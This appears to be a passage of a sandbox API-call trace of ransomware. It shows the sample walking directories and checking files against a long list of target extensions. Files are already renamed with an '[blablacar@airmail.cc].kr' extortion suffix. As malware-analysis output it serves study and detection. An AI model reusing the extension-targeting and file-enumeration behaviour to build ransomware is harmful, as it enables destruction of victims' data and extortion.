[0087.939] lstrlenW (lpString=".pgm") returned 4 [0087.939] lstrcmpiW (lpString1=".pgm", lpString2="].kr") returned -1 [0087.939] lstrlenW (lpString=".php") returned 4 [0087.939] lstrcmpiW (lpString1=".php", lpString2="].kr") returned -1 [0087.939] lstrlenW (lpString=".php3") returned 5 [0087.939] lstrcmpiW (lpString1=".php3", lpString2="c].kr") returned -1 [0087.939] lstrlenW (lpString=".php4") returned 5 [0087.939] lstrcmpiW (lpString1=".php4", lpString2="c].kr") returned -1 [0087.939] lstrlenW (lpString=".php5") returned 5 [0087.939] lstrcmpiW (lpString1=".php5", lpString2="c].kr") returned -1 [0087.939] lstrlenW (lpString=".phtml") returned 6 [0087.939] lstrcmpiW (lpString1=".phtml", lpString2="cc].kr") returned -1 [0087.939] lstrlenW (lpString=".pict") returned 5 [0087.939] lstrcmpiW (lpString1=".pict", lpString2="c].kr") returned -1 [0087.940] lstrlenW (lpString=".pl") returned 3 [0087.940] lstrcmpiW (lpString1=".pl", lpString2=".kr") returned 1 [0087.940] lstrlenW (lpString=".pls") returned 4 [0087.940] lstrcmpiW (lpString1=".pls", lpString2="].kr") returned -1 [0087.940] lstrlenW (lpString=".pm") returned 3 [0087.940] lstrcmpiW (lpString1=".pm", lpString2=".kr") returned 1 [0087.940] lstrlenW (lpString=".png") returned 4 [0087.940] lstrcmpiW (lpString1=".png", lpString2="].kr") returned -1 [0087.940] lstrlenW (lpString=".pnm") returned 4 [0087.940] lstrcmpiW (lpString1=".pnm", lpString2="].kr") returned -1 [0087.940] lstrlenW (lpString=".pot") returned 4 [0087.940] lstrcmpiW (lpString1=".pot", lpString2="].kr") returned -1 [0087.940] lstrlenW (lpString=".potm") returned 5 [0087.940] lstrcmpiW (lpString1=".potm", lpString2="c].kr") returned -1 [0087.940] lstrlenW (lpString=".potx") returned 5 [0087.940] lstrcmpiW (lpString1=".potx", lpString2="c].kr") returned -1 [0087.940] lstrlenW (lpString=".ppa") returned 4 [0087.940] lstrcmpiW (lpString1=".ppa", lpString2="].kr") returned -1 [0087.940] lstrlenW (lpString=".ppam") returned 5 [0087.940] lstrcmpiW (lpString1=".ppam", lpString2="c].kr") returned -1 [0087.940] lstrlenW (lpString=".ppm") returned 4 [0087.940] lstrcmpiW (lpString1=".ppm", lpString2="].kr") returned -1 [0087.940] lstrlenW (lpString=".pps") returned 4 [0087.940] lstrcmpiW (lpString1=".pps", lpString2="].kr") returned -1 [0087.940] lstrlenW (lpString=".ppsm") returned 5 [0087.940] lstrcmpiW (lpString1=".ppsm", lpString2="c].kr") returned -1 [0087.940] lstrlenW (lpString=".ppt") returned 4 [0087.941] lstrcmpiW (lpString1=".ppt", lpString2="].kr") returned -1 [0087.941] lstrlenW (lpString=".pptm") returned 5 [0087.941] lstrcmpiW (lpString1=".pptm", lpString2="c].kr") returned -1 [0087.941] lstrlenW (lpString=".pptx") returned 5 [0087.941] lstrcmpiW (lpString1=".pptx", lpString2="c].kr") returned -1 [0087.941] lstrlenW (lpString=".prn") returned 4 [0087.941] lstrcmpiW (lpString1=".prn", lpString2="].kr") returned -1 [0087.941] lstrlenW (lpString=".ps") returned 3 [0087.941] lstrcmpiW (lpString1=".ps", lpString2=".kr") returned 1 [0087.941] lstrlenW (lpString=".psb") returned 4 [0087.941] lstrcmpiW (lpString1=".psb", lpString2="].kr") returned -1 [0087.941] lstrlenW (lpString=".psd") returned 4 [0087.941] lstrcmpiW (lpString1=".psd", lpString2="].kr") returned -1 [0087.941] lstrlenW (lpString=".pst") returned 4 [0087.941] lstrcmpiW (lpString1=".pst", lpString2="].kr") returned -1 [0087.941] lstrlenW (lpString=".ptx") returned 4 [0087.941] lstrcmpiW (lpString1=".ptx", lpString2="].kr") returned -1 [0087.941] lstrlenW (lpString=".pub") returned 4 [0087.941] lstrcmpiW (lpString1=".pub", lpString2="].kr") returned -1 [0087.941] lstrlenW (lpString=".pwm") returned 4 [0087.941] lstrcmpiW (lpString1=".pwm", lpString2="].kr") returned -1 [0087.941] lstrlenW (lpString=".pxr") returned 4 [0087.941] lstrcmpiW (lpString1=".pxr", lpString2="].kr") returned -1 [0087.941] lstrlenW (lpString=".py") returned 3 [0087.941] lstrcmpiW (lpString1=".py", lpString2=".kr") returned 1 [0087.941] lstrlenW (lpString=".qt") returned 3 [0087.942] lstrcmpiW (lpString1=".qt", lpString2=".kr") returned 1 [0087.942] lstrlenW (lpString=".r3d") returned 4 [0087.942] lstrcmpiW (lpString1=".r3d", lpString2="].kr") returned -1 [0087.942] lstrlenW (lpString=".raf") returned 4 [0087.942] lstrcmpiW (lpString1=".raf", lpString2="].kr") returned -1 [0087.942] lstrlenW (lpString=".rar") returned 4 [0087.942] lstrcmpiW (lpString1=".rar", lpString2="].kr") returned -1 [0087.942] FindNextFileW (in: hFindFile=0x42607d0, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc769da06, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc769da06, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc76c3c6e, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x12d16, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0087.942] FindNextFileW (in: hFindFile=0x42607d0, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0087.942] FindNextFileW (in: hFindFile=0x42607d0, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0087.942] FindClose (in: hFindFile=0x42607d0 | out: hFindFile=0x42607d0) returned 1 [0087.943] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x440000) returned 1 [0087.943] FindNextFileW (in: hFindFile=0x4260350, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2052", cAlternateFileName="")) returned 1 [0087.943] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0087.943] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052") returned 26 [0087.943] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xc6c75175, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42607d0 [0087.943] FindNextFileW (in: hFindFile=0x42607d0, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xc6c75175, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.943] FindNextFileW (in: hFindFile=0x42607d0, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc6c4f11e, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc6c4f11e, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc6c4f11e, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x17b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0087.943] lstrlenW (lpString="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr") returned 46 [0087.943] lstrlenW (lpString=".1cd") returned 4 [0087.943] lstrcmpiW (lpString1=".1cd", lpString2="].kr") returned -1 [0087.943] lstrlenW (lpString=".3ds") returned 4 [0087.943] lstrcmpiW (lpString1=".3ds", lpString2="].kr") returned -1 [0087.943] lstrlenW (lpString=".3fr") returned 4 [0087.943] lstrcmpiW (lpString1=".3fr", lpString2="].kr") returned -1 [0087.944] lstrlenW (lpString=".3g2") returned 4 [0087.944] lstrcmpiW (lpString1=".3g2", lpString2="].kr") returned -1 [0087.944] lstrlenW (lpString=".3gp") returned 4 [0087.944] lstrcmpiW (lpString1=".3gp", lpString2="].kr") returned -1 [0087.944] lstrlenW (lpString=".7z") returned 3 [0088.163] lstrcmpiW (lpString1=".7z", lpString2=".kr") returned -1 [0088.163] lstrlenW (lpString=".accda") returned 6 [0088.163] lstrcmpiW (lpString1=".accda", lpString2="cc].kr") returned -1 [0088.163] lstrlenW (lpString=".accdb") returned 6 [0088.163] lstrcmpiW (lpString1=".accdb", lpString2="cc].kr") returned -1 [0088.163] lstrlenW (lpString=".accdc") returned 6 [0088.163] lstrcmpiW (lpString1=".accdc", lpString2="cc].kr") returned -1 [0088.163] lstrlenW (lpString=".accde") returned 6 [0088.163] lstrcmpiW (lpString1=".accde", lpString2="cc].kr") returned -1 [0088.163] lstrlenW (lpString=".accdt") returned 6 [0088.163] lstrcmpiW (lpString1=".accdt", lpString2="cc].kr") returned -1 [0088.163] lstrlenW (lpString=".accdw") returned 6 [0088.163] lstrcmpiW (lpString1=".accdw", lpString2="cc].kr") returned -1 [0088.163] lstrlenW (lpString=".adb") returned 4 [0088.163] lstrcmpiW (lpString1=".adb", lpString2="].kr") returned -1 [0088.163] lstrlenW (lpString=".adp") returned 4 [0088.163] lstrcmpiW (lpString1=".adp", lpString2="].kr") returned -1 [0088.163] lstrlenW (lpString=".ai") returned 3 [0088.163] lstrcmpiW (lpString1=".ai", lpString2=".kr") returned -1 [0088.163] lstrlenW (lpString=".ai3") returned 4 [0088.163] lstrcmpiW (lpString1=".ai3", lpString2="].kr") returned -1 [0088.164] lstrlenW (lpString=".ai4") returned 4 [0088.164] lstrcmpiW (lpString1=".ai4", lpString2="].kr") returned -1 [0088.164] lstrlenW (lpString=".ai5") returned 4 [0088.164] lstrcmpiW (lpString1=".ai5", lpString2="].kr") returned -1 [0088.164] lstrlenW (lpString=".ai6") returned 4 [0088.164] lstrcmpiW (lpString1=".ai6", lpString2="].kr") returned -1 [0088.164] lstrlenW (lpString=".ai7") returned 4 [0088.164] lstrcmpiW (lpString1=".ai7", lpString2="].kr") returned -1 [0088.164] lstrlenW (lpString=".ai8") returned 4 [0088.164] lstrcmpiW (lpString1=".ai8", lpString2="].kr") returned -1 [0088.164] lstrlenW (lpString=".anim") returned 5 [0088.164] lstrcmpiW (lpString1=".anim", lpString2="c].kr") returned -1 [0088.164] lstrlenW (lpString=".arw") returned 4 [0088.164] lstrcmpiW (lpString1=".arw", lpString2="].kr") returned -1 [0088.164] lstrlenW (lpString=".as") returned 3 [0088.164] lstrcmpiW (lpString1=".as", lpString2=".kr") returned -1 [0088.164] lstrlenW (lpString=".asa") returned 4 [0088.164] lstrcmpiW (lpString1=".asa", lpString2="].kr") returned -1 [0088.164] lstrlenW (lpString=".asc") returned 4 [0088.164] lstrcmpiW (lpString1=".asc", lpString2="].kr") returned -1 [0088.164] lstrlenW (lpString=".ascx") returned 5 [0088.164] lstrcmpiW (lpString1=".ascx", lpString2="c].kr") returned -1 [0088.164] lstrlenW (lpString=".asm") returned 4 [0088.164] lstrcmpiW (lpString1=".asm", lpString2="].kr") returned -1 [0088.164] lstrlenW (lpString=".asmx") returned 5 [0088.164] lstrcmpiW (lpString1=".asmx", lpString2="c].kr") returned -1 [0088.164] lstrlenW (lpString=".asp") returned 4 [0088.165] lstrcmpiW (lpString1=".asp", lpString2="].kr") returned -1 [0088.165] lstrlenW (lpString=".aspx") returned 5 [0088.165] lstrcmpiW (lpString1=".aspx", lpString2="c].kr") returned -1 [0088.165] lstrlenW (lpString=".asr") returned 4 [0088.165] lstrcmpiW (lpString1=".asr", lpString2="].kr") returned -1 [0088.165] lstrlenW (lpString=".asx") returned 4 [0088.165] lstrcmpiW (lpString1=".asx", lpString2="].kr") returned -1 [0088.165] lstrlenW (lpString=".avi") returned 4 [0088.165] lstrcmpiW (lpString1=".avi", lpString2="].kr") returned -1 [0088.165] lstrlenW (lpString=".avs") returned 4 [0088.165] lstrcmpiW (lpString1=".avs", lpString2="].kr") returned -1 [0088.165] lstrlenW (lpString=".backup") returned 7 [0088.165] lstrcmpiW (lpString1=".backup", lpString2=".cc].kr") returned -1 [0088.165] lstrlenW (lpString=".bak") returned 4 [0088.165] lstrcmpiW (lpString1=".bak", lpString2="].kr") returned -1 [0088.165] lstrlenW (lpString=".bay") returned 4 [0088.165] lstrcmpiW (lpString1=".bay", lpString2="].kr") returned -1 [0088.165] lstrlenW (lpString=".bd") returned 3 [0088.165] lstrcmpiW (lpString1=".bd", lpString2=".kr") returned -1 [0088.165] lstrlenW (lpString=".bin") returned 4 [0088.165] lstrcmpiW (lpString1=".bin", lpString2="].kr") returned -1 [0088.165] lstrlenW (lpString=".bmp") returned 4 [0088.165] lstrcmpiW (lpString1=".bmp", lpString2="].kr") returned -1 [0088.165] lstrlenW (lpString=".bz2") returned 4 [0088.165] lstrcmpiW (lpString1=".bz2", lpString2="].kr") returned -1 [0088.165] lstrlenW (lpString=".c") returned 2 [0088.166] lstrcmpiW (lpString1=".c", lpString2="kr") returned -1 [0088.166] lstrlenW (lpString=".cdr") returned 4 [0088.166] lstrcmpiW (lpString1=".cdr", lpString2="].kr") returned -1 [0088.166] lstrlenW (lpString=".cer") returned 4 [0088.166] lstrcmpiW (lpString1=".cer", lpString2="].kr") returned -1 [0088.166] lstrlenW (lpString=".cf") returned 3 [0088.166] lstrcmpiW (lpString1=".cf", lpString2=".kr") returned -1 [0088.166] lstrlenW (lpString=".cfc") returned 4 [0088.166] lstrcmpiW (lpString1=".cfc", lpString2="].kr") returned -1 [0088.166] lstrlenW (lpString=".cfm") returned 4 [0088.166] lstrcmpiW (lpString1=".cfm", lpString2="].kr") returned -1 [0088.166] lstrlenW (lpString=".cfml") returned 5 [0088.166] lstrcmpiW (lpString1=".cfml", lpString2="c].kr") returned -1 [0088.166] lstrlenW (lpString=".cfu") returned 4 [0088.166] lstrcmpiW (lpString1=".cfu", lpString2="].kr") returned -1 [0088.166] lstrlenW (lpString=".chm") returned 4 [0088.166] lstrcmpiW (lpString1=".chm", lpString2="].kr") returned -1 [0088.166] lstrlenW (lpString=".cin") returned 4 [0088.166] lstrcmpiW (lpString1=".cin", lpString2="].kr") returned -1 [0088.166] lstrlenW (lpString=".class") returned 6 [0088.166] lstrcmpiW (lpString1=".class", lpString2="cc].kr") returned -1 [0088.166] lstrlenW (lpString=".clx") returned 4 [0088.166] lstrcmpiW (lpString1=".clx", lpString2="].kr") returned -1 [0088.166] lstrlenW (lpString=".config") returned 7 [0088.166] lstrcmpiW (lpString1=".config", lpString2=".cc].kr") returned 1 [0088.166] lstrlenW (lpString=".cpp") returned 4 [0088.166] lstrcmpiW (lpString1=".cpp", lpString2="].kr") returned -1 [0088.167] lstrlenW (lpString=".cr2") returned 4 [0088.167] lstrcmpiW (lpString1=".cr2", lpString2="].kr") returned -1 [0088.167] lstrlenW (lpString=".crt") returned 4 [0088.167] lstrcmpiW (lpString1=".crt", lpString2="].kr") returned -1 [0088.167] lstrlenW (lpString=".crw") returned 4 [0088.167] lstrcmpiW (lpString1=".crw", lpString2="].kr") returned -1 [0088.167] lstrlenW (lpString=".cs") returned 3 [0088.167] lstrcmpiW (lpString1=".cs", lpString2=".kr") returned -1 [0088.167] lstrlenW (lpString=".css") returned 4 [0088.167] lstrcmpiW (lpString1=".css", lpString2="].kr") returned -1 [0088.167] lstrlenW (lpString=".csv") returned 4 [0088.167] lstrcmpiW (lpString1=".csv", lpString2="].kr") returned -1 [0088.167] lstrlenW (lpString=".cub") returned 4 [0088.167] lstrcmpiW (lpString1=".cub", lpString2="].kr") returned -1 [0088.167] lstrlenW (lpString=".dae") returned 4 [0088.167] lstrcmpiW (lpString1=".dae", lpString2="].kr") returned -1 [0088.167] lstrlenW (lpString=".dat") returned 4 [0088.167] lstrcmpiW (lpString1=".dat", lpString2="].kr") returned -1 [0088.167] lstrlenW (lpString=".db") returned 3 [0088.167] lstrcmpiW (lpString1=".db", lpString2=".kr") returned -1 [0088.167] lstrlenW (lpString=".dbf") returned 4 [0088.167] lstrcmpiW (lpString1=".dbf", lpString2="].kr") returned -1 [0088.167] lstrlenW (lpString=".dbx") returned 4 [0088.167] lstrcmpiW (lpString1=".dbx", lpString2="].kr") returned -1 [0088.167] lstrlenW (lpString=".dc3") returned 4 [0088.167] lstrcmpiW (lpString1=".dc3", lpString2="].kr") returned -1 [0088.168] lstrlenW (lpString=".dcm") returned 4 [0088.168] lstrcmpiW (lpString1=".dcm", lpString2="].kr") returned -1 [0088.168] lstrlenW (lpString=".dcr") returned 4 [0088.168] lstrcmpiW (lpString1=".dcr", lpString2="].kr") returned -1 [0088.168] lstrlenW (lpString=".der") returned 4 [0088.168] lstrcmpiW (lpString1=".der", lpString2="].kr") returned -1 [0088.168] lstrlenW (lpString=".dib") returned 4 [0088.168] lstrcmpiW (lpString1=".dib", lpString2="].kr") returned -1 [0088.168] lstrlenW (lpString=".dic") returned 4 [0088.168] lstrcmpiW (lpString1=".dic", lpString2="].kr") returned -1 [0088.168] lstrlenW (lpString=".dif") returned 4 [0088.168] lstrcmpiW (lpString1=".dif", lpString2="].kr") returned -1 [0088.168] lstrlenW (lpString=".divx") returned 5 [0088.168] lstrcmpiW (lpString1=".divx", lpString2="c].kr") returned -1 [0088.168] lstrlenW (lpString=".djvu") returned 5 [0088.168] lstrcmpiW (lpString1=".djvu", lpString2="c].kr") returned -1 [0088.168] lstrlenW (lpString=".dng") returned 4 [0088.168] lstrcmpiW (lpString1=".dng", lpString2="].kr") returned -1 [0088.168] lstrlenW (lpString=".doc") returned 4 [0088.168] lstrcmpiW (lpString1=".doc", lpString2="].kr") returned -1 [0088.168] lstrlenW (lpString=".docm") returned 5 [0088.168] lstrcmpiW (lpString1=".docm", lpString2="c].kr") returned -1 [0088.168] lstrlenW (lpString=".docx") returned 5 [0088.168] lstrcmpiW (lpString1=".docx", lpString2="c].kr") returned -1 [0088.168] lstrlenW (lpString=".dot") returned 4 [0088.168] lstrcmpiW (lpString1=".dot", lpString2="].kr") returned -1 [0088.169] lstrlenW (lpString=".dotm") returned 5 [0088.169] lstrcmpiW (lpString1=".dotm", lpString2="c].kr") returned -1 [0088.169] lstrlenW (lpString=".dotx") returned 5 [0088.169] lstrcmpiW (lpString1=".dotx", lpString2="c].kr") returned -1 [0088.169] lstrlenW (lpString=".dpx") returned 4 [0088.169] lstrcmpiW (lpString1=".dpx", lpString2="].kr") returned -1 [0088.169] lstrlenW (lpString=".dqy") returned 4 [0088.169] lstrcmpiW (lpString1=".dqy", lpString2="].kr") returned -1 [0088.169] lstrlenW (lpString=".dsn") returned 4 [0088.169] lstrcmpiW (lpString1=".dsn", lpString2="].kr") returned -1 [0088.169] lstrlenW (lpString=".dt") returned 3 [0088.169] lstrcmpiW (lpString1=".dt", lpString2=".kr") returned -1 [0088.169] lstrlenW (lpString=".dtd") returned 4 [0088.169] lstrcmpiW (lpString1=".dtd", lpString2="].kr") returned -1 [0088.169] lstrlenW (lpString=".dwg") returned 4 [0088.169] lstrcmpiW (lpString1=".dwg", lpString2="].kr") returned -1 [0088.169] lstrlenW (lpString=".dwt") returned 4 [0088.169] lstrcmpiW (lpString1=".dwt", lpString2="].kr") returned -1 [0088.169] lstrlenW (lpString=".dx") returned 3 [0088.169] lstrcmpiW (lpString1=".dx", lpString2=".kr") returned -1 [0088.169] lstrlenW (lpString=".dxf") returned 4 [0088.169] lstrcmpiW (lpString1=".dxf", lpString2="].kr") returned -1 [0088.169] lstrlenW (lpString=".edml") returned 5 [0088.169] lstrcmpiW (lpString1=".edml", lpString2="c].kr") returned -1 [0088.169] lstrlenW (lpString=".efd") returned 4 [0088.170] lstrcmpiW (lpString1=".efd", lpString2="].kr") returned -1 [0088.170] lstrlenW (lpString=".elf") returned 4 [0088.170] lstrcmpiW (lpString1=".elf", lpString2="].kr") returned -1 [0088.170] lstrlenW (lpString=".emf") returned 4 [0088.170] lstrcmpiW (lpString1=".emf", lpString2="].kr") returned -1 [0088.170] lstrlenW (lpString=".emz") returned 4 [0088.170] lstrcmpiW (lpString1=".emz", lpString2="].kr") returned -1 [0088.170] lstrlenW (lpString=".epf") returned 4 [0088.170] lstrcmpiW (lpString1=".epf", lpString2="].kr") returned -1 [0088.170] lstrlenW (lpString=".eps") returned 4 [0088.170] lstrcmpiW (lpString1=".eps", lpString2="].kr") returned -1 [0088.170] lstrlenW (lpString=".epsf") returned 5 [0088.170] lstrcmpiW (lpString1=".epsf", lpString2="c].kr") returned -1 [0088.170] lstrlenW (lpString=".epsp") returned 5 [0088.170] lstrcmpiW (lpString1=".epsp", lpString2="c].kr") returned -1 [0088.170] lstrlenW (lpString=".erf") returned 4 [0088.170] lstrcmpiW (lpString1=".erf", lpString2="].kr") returned -1 [0088.170] lstrlenW (lpString=".exr") returned 4 [0088.170] lstrcmpiW (lpString1=".exr", lpString2="].kr") returned -1 [0088.170] lstrlenW (lpString=".f4v") returned 4 [0088.170] lstrcmpiW (lpString1=".f4v", lpString2="].kr") returned -1 [0088.170] lstrlenW (lpString=".fido") returned 5 [0088.170] lstrcmpiW (lpString1=".fido", lpString2="c].kr") returned -1 [0088.170] lstrlenW (lpString=".flm") returned 4 [0088.170] lstrcmpiW (lpString1=".flm", lpString2="].kr") returned -1 [0088.171] lstrlenW (lpString=".flv") returned 4 [0088.171] lstrcmpiW (lpString1=".flv", lpString2="].kr") returned -1 [0088.171] lstrlenW (lpString=".frm") returned 4 [0088.171] lstrcmpiW (lpString1=".frm", lpString2="].kr") returned -1 [0088.171] lstrlenW (lpString=".fxg") returned 4 [0088.171] lstrcmpiW (lpString1=".fxg", lpString2="].kr") returned -1 [0088.171] lstrlenW (lpString=".geo") returned 4 [0088.171] lstrcmpiW (lpString1=".geo", lpString2="].kr") returned -1 [0088.171] lstrlenW (lpString=".gif") returned 4 [0088.171] lstrcmpiW (lpString1=".gif", lpString2="].kr") returned -1 [0088.171] lstrlenW (lpString=".grs") returned 4 [0088.171] lstrcmpiW (lpString1=".grs", lpString2="].kr") returned -1 [0088.171] lstrlenW (lpString=".gz") returned 3 [0088.171] lstrcmpiW (lpString1=".gz", lpString2=".kr") returned -1 [0088.171] lstrlenW (lpString=".h") returned 2 [0088.171] lstrcmpiW (lpString1=".h", lpString2="kr") returned -1 [0088.171] lstrlenW (lpString=".hdr") returned 4 [0088.171] lstrcmpiW (lpString1=".hdr", lpString2="].kr") returned -1 [0088.171] lstrlenW (lpString=".hpp") returned 4 [0088.171] lstrcmpiW (lpString1=".hpp", lpString2="].kr") returned -1 [0088.171] lstrlenW (lpString=".hta") returned 4 [0088.171] lstrcmpiW (lpString1=".hta", lpString2="].kr") returned -1 [0088.171] lstrlenW (lpString=".htc") returned 4 [0088.171] lstrcmpiW (lpString1=".htc", lpString2="].kr") returned -1 [0088.171] lstrlenW (lpString=".htm") returned 4 [0088.171] lstrcmpiW (lpString1=".htm", lpString2="].kr") returned -1 [0088.172] lstrlenW (lpString=".html") returned 5 [0088.172] lstrcmpiW (lpString1=".html", lpString2="c].kr") returned -1 [0088.172] lstrlenW (lpString=".icb") returned 4 [0088.172] lstrcmpiW (lpString1=".icb", lpString2="].kr") returned -1 [0088.172] lstrlenW (lpString=".ics") returned 4 [0088.172] lstrcmpiW (lpString1=".ics", lpString2="].kr") returned -1 [0088.172] lstrlenW (lpString=".iff") returned 4 [0088.172] lstrcmpiW (lpString1=".iff", lpString2="].kr") returned -1 [0088.172] lstrlenW (lpString=".inc") returned 4 [0088.172] lstrcmpiW (lpString1=".inc", lpString2="].kr") returned -1 [0088.172] lstrlenW (lpString=".indd") returned 5 [0088.172] lstrcmpiW (lpString1=".indd", lpString2="c].kr") returned -1 [0088.172] lstrlenW (lpString=".ini") returned 4 [0088.172] lstrcmpiW (lpString1=".ini", lpString2="].kr") returned -1 [0088.172] lstrlenW (lpString=".iqy") returned 4 [0088.172] lstrcmpiW (lpString1=".iqy", lpString2="].kr") returned -1 [0088.172] lstrlenW (lpString=".j2c") returned 4 [0088.172] lstrcmpiW (lpString1=".j2c", lpString2="].kr") returned -1 [0088.172] lstrlenW (lpString=".j2k") returned 4 [0088.172] lstrcmpiW (lpString1=".j2k", lpString2="].kr") returned -1 [0088.172] lstrlenW (lpString=".java") returned 5 [0088.172] lstrcmpiW (lpString1=".java", lpString2="c].kr") returned -1 [0088.172] lstrlenW (lpString=".jp2") returned 4 [0088.172] lstrcmpiW (lpString1=".jp2", lpString2="].kr") returned -1 [0088.172] lstrlenW (lpString=".jpc") returned 4 [0088.173] lstrcmpiW (lpString1=".jpc", lpString2="].kr") returned -1 [0088.173] lstrlenW (lpString=".jpe") returned 4 [0088.173] lstrcmpiW (lpString1=".jpe", lpString2="].kr") returned -1 [0088.173] lstrlenW (lpString=".jpeg") returned 5 [0088.173] lstrcmpiW (lpString1=".jpeg", lpString2="c].kr") returned -1 [0088.173] lstrlenW (lpString=".jpf") returned 4 [0088.173] lstrcmpiW (lpString1=".jpf", lpString2="].kr") returned -1 [0088.173] lstrlenW (lpString=".jpg") returned 4 [0088.173] lstrcmpiW (lpString1=".jpg", lpString2="].kr") returned -1 [0088.173] lstrlenW (lpString=".jpx") returned 4 [0088.173] lstrcmpiW (lpString1=".jpx", lpString2="].kr") returned -1 [0088.173] lstrlenW (lpString=".js") returned 3 [0088.173] lstrcmpiW (lpString1=".js", lpString2=".kr") returned -1 [0088.173] lstrlenW (lpString=".jsf") returned 4 [0088.173] lstrcmpiW (lpString1=".jsf", lpString2="].kr") returned -1 [0088.173] lstrlenW (lpString=".json") returned 5 [0088.173] lstrcmpiW (lpString1=".json", lpString2="c].kr") returned -1 [0088.173] lstrlenW (lpString=".jsp") returned 4 [0088.173] lstrcmpiW (lpString1=".jsp", lpString2="].kr") returned -1 [0088.173] lstrlenW (lpString=".kdc") returned 4 [0088.173] lstrcmpiW (lpString1=".kdc", lpString2="].kr") returned -1 [0088.173] lstrlenW (lpString=".kmz") returned 4 [0088.173] lstrcmpiW (lpString1=".kmz", lpString2="].kr") returned -1 [0088.173] lstrlenW (lpString=".kwm") returned 4 [0088.173] lstrcmpiW (lpString1=".kwm", lpString2="].kr") returned -1 [0088.173] lstrlenW (lpString=".lasso") returned 6 [0088.173] lstrcmpiW (lpString1=".lasso", lpString2="cc].kr") returned -1 [0088.174] lstrlenW (lpString=".lbi") returned 4 [0088.174] lstrcmpiW (lpString1=".lbi", lpString2="].kr") returned -1 [0088.174] lstrlenW (lpString=".lgf") returned 4 [0088.174] lstrcmpiW (lpString1=".lgf", lpString2="].kr") returned -1 [0088.174] lstrlenW (lpString=".lgp") returned 4 [0088.174] lstrcmpiW (lpString1=".lgp", lpString2="].kr") returned -1 [0088.174] lstrlenW (lpString=".log") returned 4 [0088.174] lstrcmpiW (lpString1=".log", lpString2="].kr") returned -1 [0088.174] lstrlenW (lpString=".m1v") returned 4 [0088.174] lstrcmpiW (lpString1=".m1v", lpString2="].kr") returned -1 [0088.174] lstrlenW (lpString=".m4a") returned 4 [0088.174] lstrcmpiW (lpString1=".m4a", lpString2="].kr") returned -1 [0088.174] lstrlenW (lpString=".m4v") returned 4 [0088.174] lstrcmpiW (lpString1=".m4v", lpString2="].kr") returned -1 [0088.174] lstrlenW (lpString=".max") returned 4 [0088.174] lstrcmpiW (lpString1=".max", lpString2="].kr") returned -1 [0088.174] 